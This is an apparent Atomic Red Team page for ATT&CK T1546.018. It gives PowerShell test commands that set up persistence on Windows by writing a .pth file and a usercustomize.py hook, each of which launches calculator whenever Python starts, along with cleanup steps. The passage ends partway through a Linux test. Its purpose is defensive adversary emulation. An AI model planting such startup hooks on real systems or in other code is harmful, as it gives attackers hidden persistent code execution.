# T1546.018 - Event Triggered Execution: Python Startup Hooks

## Description from ATT&CK

> Adversaries may achieve persistence by leveraging Python’s startup mechanisms, including path configuration (`.pth`) files and the `sitecustomize.py` or `usercustomize.py` modules. These files are automatically processed during the initialization of the Python interpreter, allowing for the execution of arbitrary code whenever Python is invoked.(Citation: Volexity GlobalProtect CVE 2024)
> 
> Path configuration files are designed to extend Python’s module search paths through the use of import statements. If a `.pth` file is placed in Python's `site-packages` or `dist-packages` directories, any lines beginning with `import` will be executed automatically on Python invocation.(Citation: DFIR Python Persistence 2025) Similarly, if `sitecustomize.py` or `usercustomize.py` is present in the Python path, these files will be imported during interpreter startup, and any code they contain will be executed.(Citation: Python Site Configuration Hook)
> 
> Adversaries may abuse these mechanisms to establish persistence on systems where Python is widely used (e.g., for automation or scripting in production environments).

[Source](https://attack.mitre.org/techniques/T1546/018)

## Atomic Tests

- [Atomic Test #1: Python Startup Hook - atomic_hook.pth (Windows)](#atomic-test-1-python-startup-hook---atomic_hookpth-windows)
- [Atomic Test #2: Python Startup Hook - usercustomize.py (Windows)](#atomic-test-2-python-startup-hook---usercustomizepy-windows)
- [Atomic Test #3: Python Startup Hook - atomic_hook.pth (Linux)](#atomic-test-3-python-startup-hook---atomic_hookpth-linux)
- [Atomic Test #4: Python Startup Hook - atomic_hook.pth (macOS)](#atomic-test-4-python-startup-hook---atomic_hookpth-macos)
- [Atomic Test #5: Python Startup Hook - usercustomize.py (Linux / MacOS)](#atomic-test-5-python-startup-hook---usercustomizepy-linux--macos)

### Atomic Test #1: Python Startup Hook - atomic_hook.pth (Windows)

Executes code by placing a .pth file in the site-packages directory. 
Supports python.exe and python3.exe via input arguments.

**Supported Platforms:** Windows

**auto_generated_guid:** `57289962-21dc-4501-b756-80cd30608d9f`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| python_exe | The python binary name to test. | String | python.exe|

#### Attack Commands: Run with `powershell`!

```powershell
$TempDir = Join-Path $env:TEMP "atomic_pth_win"
New-Item -ItemType Directory -Path $TempDir -Force
& "#{python_exe}" -m venv "$TempDir\env"
$SitePackages = & "$TempDir\env\Scripts\python.exe" -c "import site; print(site.getsitepackages()[1])"
"import os, subprocess; os.environ.get('CALC_SPAWNED') or (os.environ.update({'CALC_SPAWNED':'1'}) or subprocess.Popen(['calc.exe']))" | Out-File -Encoding ASCII "$SitePackages\atomic_hook.pth"
Get-ChildItem -Path "$SitePackages" | Where-Object { $_.Name -like "*.pth" }
& "$TempDir\env\Scripts\python.exe" -c "print('Triggering Hook via atomic_hook...')"
```

#### Cleanup Commands

```powershell
if (-not (Get-ChildItem -Path $env:TEMP -ErrorAction SilentlyContinue | Where-Object Name -like 'atomic_pth_win')) { Write-Host "[!] Artifact missing: $env:Temp\atomic_pth_win Folder - [-] Please Run : Invoke-AtomicTest T1546.018"; exit 1 };
Remove-Item -Path "$env:TEMP\atomic_pth_win" -Recurse -Force
Write-Host "[+] Successfully Removed atomic_pth_win folder and atomic_hook.pth from Temp Directory"
Get-Process -Name "Calc*" -ErrorAction SilentlyContinue | Stop-Process -Force
Get-Process -Name "calc*" -ErrorAction SilentlyContinue | Stop-Process -Force
Write-Host "[+] Successfully Terminated Calculator"
```

#### Dependencies: Run with `powershell`!

##### Description: Python must be installed and the specified binary (#{python_exe}) must be in the PATH.

###### Check Prereq Commands

```powershell
if (Get-Command @("#{python_exe}", 'python3.exe') -ErrorAction SilentlyContinue) { exit 0 } else { exit 1 }
```

###### Get Prereq Commands

```powershell
Write-Host "[!] Python3 not found. Please install Python3 (e.g., winget install python3 or winget install python or https://www.python.org/downloads/windows/) or ensure it is in your PATH."
```

### Atomic Test #2: Python Startup Hook - usercustomize.py (Windows)

Executes code via usercustomize.py. This is a per-user persistence mechanism 
that does not require Administrative privileges.

**Supported Platforms:** Windows

**auto_generated_guid:** `05cc7a2c-ce32-46f2-a358-f27f76718c39`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| python_exe | The python binary name to test | String | python.exe|

#### Attack Commands: Run with `powershell`!

```powershell
$UserDir = & "#{python_exe}" -c "import site; print(site.getusersitepackages())"
if (!(Test-Path $UserDir)) { New-Item -ItemType Directory -Path $UserDir -Force }
"import os; os.system('calc.exe')" | Out-File -FilePath "$UserDir\usercustomize.py" -Encoding ASCII
Get-ChildItem -Path "$UserDir"
& "#{python_exe}" -c "print('Triggering Hook via usercustomize...')"
```

#### Cleanup Commands

```powershell
$PyBin = if (Get-Command "#{python_exe}" -ErrorAction SilentlyContinue) { "#{python_exe}" } elseif (Get-Command "python3.exe" -ErrorAction SilentlyContinue) { "python3.exe" } else { "python.exe" }; 
$UserDir = & $PyBin -S -c "import site; print(site.getusersitepackages())"
if (-not (Get-ChildItem -Path $UserDir -Recurse -ErrorAction SilentlyContinue | Where-Object Name -like 'usercustomize*')) { Write-Host "[!] Artifact missing: $UserDir\usercustomize.py - [-] Please Run : Invoke-AtomicTest T1546.018"; exit 1 };
Get-ChildItem -Path "$UserDir" -Recurse -Force |
Where-Object { $_.Name -like "usercustomize*" } |
Remove-Item -Force 
Write-Host "[+] Successfully Removed usercustomize.py under $UserDir"
Get-Process -Name "Calc*", "calc*" -ErrorAction SilentlyContinue | Stop-Process -Force
Write-Host "[+] Successfully Terminated Calculator"
```

#### Dependencies: Run with `powershell`!

##### Description: Python must be installed and the specified binary (#{python_exe}) must be in the PATH.

###### Check Prereq Commands

```powershell
if (Get-Command @("#{python_exe}", 'python3.exe') -ErrorAction SilentlyContinue) { exit 0 } else { exit 1 }
```

###### Get Prereq Commands

```powershell
Write-Host "[!] Python3 not found. Please install Python3 (e.g., winget install python3 or winget install python or https://www.python.org/downloads/windows/) or ensure it is in your PATH."
```

### Atomic Test #3: Python Startup Hook - atomic_hook.pth (Linux)

Executes code by creating atomic_hook.pth in the site-packages directory. 
This script runs automatically for every user on the system when Python starts.

**Supported Platforms:** Linux

**auto_generated_guid:** `a58c066d-f2f0-42a2-ab70-30af73f89e66`

#### Inputs

| Name | Description | Type | Default Value |
|------|--